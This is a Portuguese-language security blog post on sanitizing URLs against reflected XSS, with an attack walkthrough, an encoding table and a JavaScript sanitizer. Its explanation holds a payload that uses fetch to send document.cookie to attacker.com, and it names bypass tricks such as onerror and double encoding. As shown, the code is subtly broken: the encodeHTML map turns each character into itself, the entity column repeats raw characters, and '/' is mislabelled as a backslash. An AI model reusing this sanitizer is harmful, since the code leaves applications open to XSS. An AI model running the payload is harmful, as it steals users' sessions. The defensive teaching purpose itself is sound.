Como Sanitizar Links URL para Prevenir XSS Refletido
Aprenda a sanitizar links URL para se proteger contra ataques de XSS refletido. Conheça técnicas de codificação, validação e ferramentas de segurança.

A injeção de scripts através de parâmetros em endereços web é um dos vetores de ataque mais explorados no desenvolvimento de aplicações modernas. Quando um sistema reflete dados fornecidos pelo usuário diretamente na tela sem o devido tratamento, abre-se uma brecha para o XSS refletido (Reflected Cross-Site Scripting). Por meio desta vulnerabilidade, cibercriminosos podem sequestrar sessões, roubar cookies de autenticação ou redirecionar usuários para portais falsos.
Neste guia detalhado, analisaremos como essa vulnerabilidade funciona, as diferenças essenciais entre validação, sanitização e codificação, e como implementar defesas robustas para sanitizar links URL.
O que é o XSS Refletido e por que ele afeta as URLs?
O Cross-Site Scripting Refletido ocorre quando uma aplicação web recebe dados vindos de uma requisição do cliente —comumente estruturados como parâmetros de busca ou consulta em uma URL— e os envia de volta na resposta HTML de forma insegura, sem tratamento.
Diferente do XSS armazenado (onde o script malicioso é salvo permanentemente no banco de dados), o XSS refletido exige que a vítima clique ativamente em um link manipulado.
O ciclo básico desse ataque ocorre da seguinte forma:
- O atacante localiza um parâmetro de URL vulnerável no site alvo (por exemplo,
?busca=). - O atacante cria um link malicioso contendo o payload do script:
https://vulneravel.com/busca?q=<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>. - O atacante envia este link para a vítima usando táticas de engenharia social (como e-mails de phishing).
- A vítima clica no link, e o site processa a URL, refletindo o parâmetro diretamente no HTML final da resposta.
- O navegador da vítima interpreta a resposta, executa o script malicioso no contexto de segurança daquele domínio legítimo e envia informações confidenciais para o atacante.
Validação de Entrada vs. Codificação de Saída
Para evitar o XSS refletido de maneira eficaz, os desenvolvedores precisam estruturar defesas em duas frentes complementares:
1. Validação de Entrada (Input Validation)
Significa garantir que todos os dados recebidos estejam em conformidade estrita com o formato esperado antes que ocorra qualquer processamento. Por exemplo, se um parâmetro na URL deve receber apenas números inteiros (como ?id=123), qualquer entrada contendo letras ou símbolos especiais deve ser rejeitada de imediato.
2. Codificação de Saída (Output Encoding)
Esta é a principal barreira contra o XSS. Ela atua transformando caracteres especiais em suas representações seguras equivalentes (entidades HTML ou caracteres de escape) antes que os dados sejam renderizados no navegador. Assim, o navegador lê os dados apenas como texto comum, e não como código a ser executado.
Tabela de Conversão de Caracteres para Mitigação de XSS
A especificação de segurança web define conversões específicas dependendo de onde o dado será inserido no HTML. Veja as conversões obrigatórias abaixo:
| Caractere | Nome | Codificação URL (Percent-Encoding) | Codificação HTML | Contexto de Risco |
|---|---|---|---|---|
< |
Menor que | %3C |
< |
Abertura de tags HTML (ex: <script>) |
> |
Maior que | %3E |
> |
Fechamento de tags HTML |
& |
E comercial | %26 |
& |
Início de entidades de caracteres |
" |
Aspas duplas | %22 |
" |
Atributos de elementos HTML |
' |
Aspas simples | %27 |
' |
Atributos HTML e delimitadores de strings JS |
/ |
Barra invertida | %2F |
/ |
Fecha elementos HTML e altera caminhos |
Como Implementar Sanitização e Codificação no Código
Ao lidar com URLs geradas dinamicamente, é vital realizar tanto a codificação do link quanto a conversão em entidades HTML ao incluir a URL no atributo href de uma tag de link.
Abaixo está um exemplo prático em JavaScript mostrando como fazer a validação e sanitização segura de uma URL:
/**
* Sanitiza e valida uma URL para prevenir ataques de XSS Refletido.
* @param {string} inputUrl - A URL inserida pelo usuário.
* @returns {string} - A URL limpa ou um link seguro padrão.
*/
function sanitizeURL(inputUrl) {
if (!inputUrl) return 'about:blank';
// 1. Decodificar primeiro para evitar burlar filtros via double encoding
let decodedUrl = '';
try {
decodedUrl = decodeURIComponent(inputUrl);
} catch (e) {
decodedUrl = inputUrl; // Caso falhe, usa o valor original
}
// 2. Validar protocolo (permitir estritamente HTTP e HTTPS para evitar javascript:)
const protocolPattern = /^(https?:\/\/)/i;
if (!protocolPattern.test(decodedUrl.trim())) {
// Bloqueia esquemas perigosos como javascript: ou data:
return 'about:blank';
}
// 3. Converter caracteres especiais para renderização segura no atributo href
return encodeHTML(decodedUrl);
}
/**
* Converte caracteres especiais para entidades HTML seguras.
*/
function encodeHTML(str) {
return str.replace(/[&<>"'/]/g, function(char) {
const replacements = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
'/': '/'
};
return replacements[char];
});
}
// Exemplos de uso:
const linkMalicioso = "javascript:alert('XSS')";
const linkComParametros = "https://example.com/busca?q=<script>alert(1)</script>&id=12";
console.log(sanitizeURL(linkMalicioso)); // Resultado: 'about:blank' (Bloqueado)
console.log(sanitizeURL(linkComParametros)); // Resultado: 'https://example.com/busca?q=<script>alert(1)</script>&id=12'
Erros Comuns de Sanitização que Você Deve Evitar
Desenhar de forma inadequada os filtros de segurança pode expor a sua plataforma. Fique atento a estas falhas recorrentes:
- Permitir o protocolo
javascript:em links: Se você aceita URLs inseridas por usuários diretamente na propriedade<a href="DADO_USUARIO">sem checar se ela inicia comjavascript:, um invasor pode passar payloads JavaScript que serão executados assim que o link for clicado. - Confiar em Blacklists (Listas Negras): Filtrar termos específicos como
<script>não funciona. Os atacantes conseguem contornar essa restrição alterando maiúsculas e minúsculas ou usando elementos HTML alternativos como<img src=x onerror=...>. - Ignorar a Dupla Codificação (Double Encoding): Caso a aplicação processe a decodificação de um parâmetro mais de uma vez, um código malicioso enviado com codificação dupla (ex:
%253Cem vez de%3C) pode passar pelos filtros de entrada e ser decodificado no momento do render. - Falta de contexto na codificação: Tratar dados apenas para exibição em blocos de texto HTML comum não os torna seguros para inclusão direta em scripts internos do tipo
<script>ou em declarações de estilos inline.
Ferramenta Recomendada para Codificação Segura
Para agilizar o tratamento de parâmetros e garantir que seus links obedeçam aos padrões recomendados de codificação por porcentagem, indicamos o uso do nosso Codificador URL. Com ele, você sanitiza instantaneamente entradas complexas, evitando que o navegador execute strings de consulta como se fossem comandos reais do sistema.
Além disso, para melhorar sua capacidade de reconhecer ameaças disfarçadas, leia mais em nosso post sobre a anatomia de uma URL maliciosa e TLDs suspeitos para bloquear sites fraudulentos, ou aprenda a conter ameaças a bancos de dados na nossa publicação sobre a anatomia de uma injeção SQL e mitigação.
Conclusão
Sanitizar links URL é uma medida indispensável e prioritária para resguardar a integridade de portais web modernos. O XSS refletido persiste no topo das vulnerabilidades devido à negligência em mapear as vias de entrada e saída de dados.
Adotar rotinas de validação de protocolo HTTP/HTTPS, realizar a decodificação inicial antes da filtragem e aplicar codificação de saída apropriada ao contexto são as melhores formas de manter a sua aplicação blindada contra ataques.
Fontes e leituras recomendadas:
- OWASP Foundation: Cross-Site Scripting (XSS) Prevention Cheat Sheet — Diretrizes avançadas de proteção e segurança web para desenvolvedores.
- W3C Standards: URL Specification — Documento e guia oficial contendo os padrões de arquitetura de URLs.
- Artigo relacionado na TecnoCrypter: Codificador URL e Percent-Encoding para a segurança de links
- Artigo relacionado na TecnoCrypter: Como detectar e prevenir ataques de phishing avançados


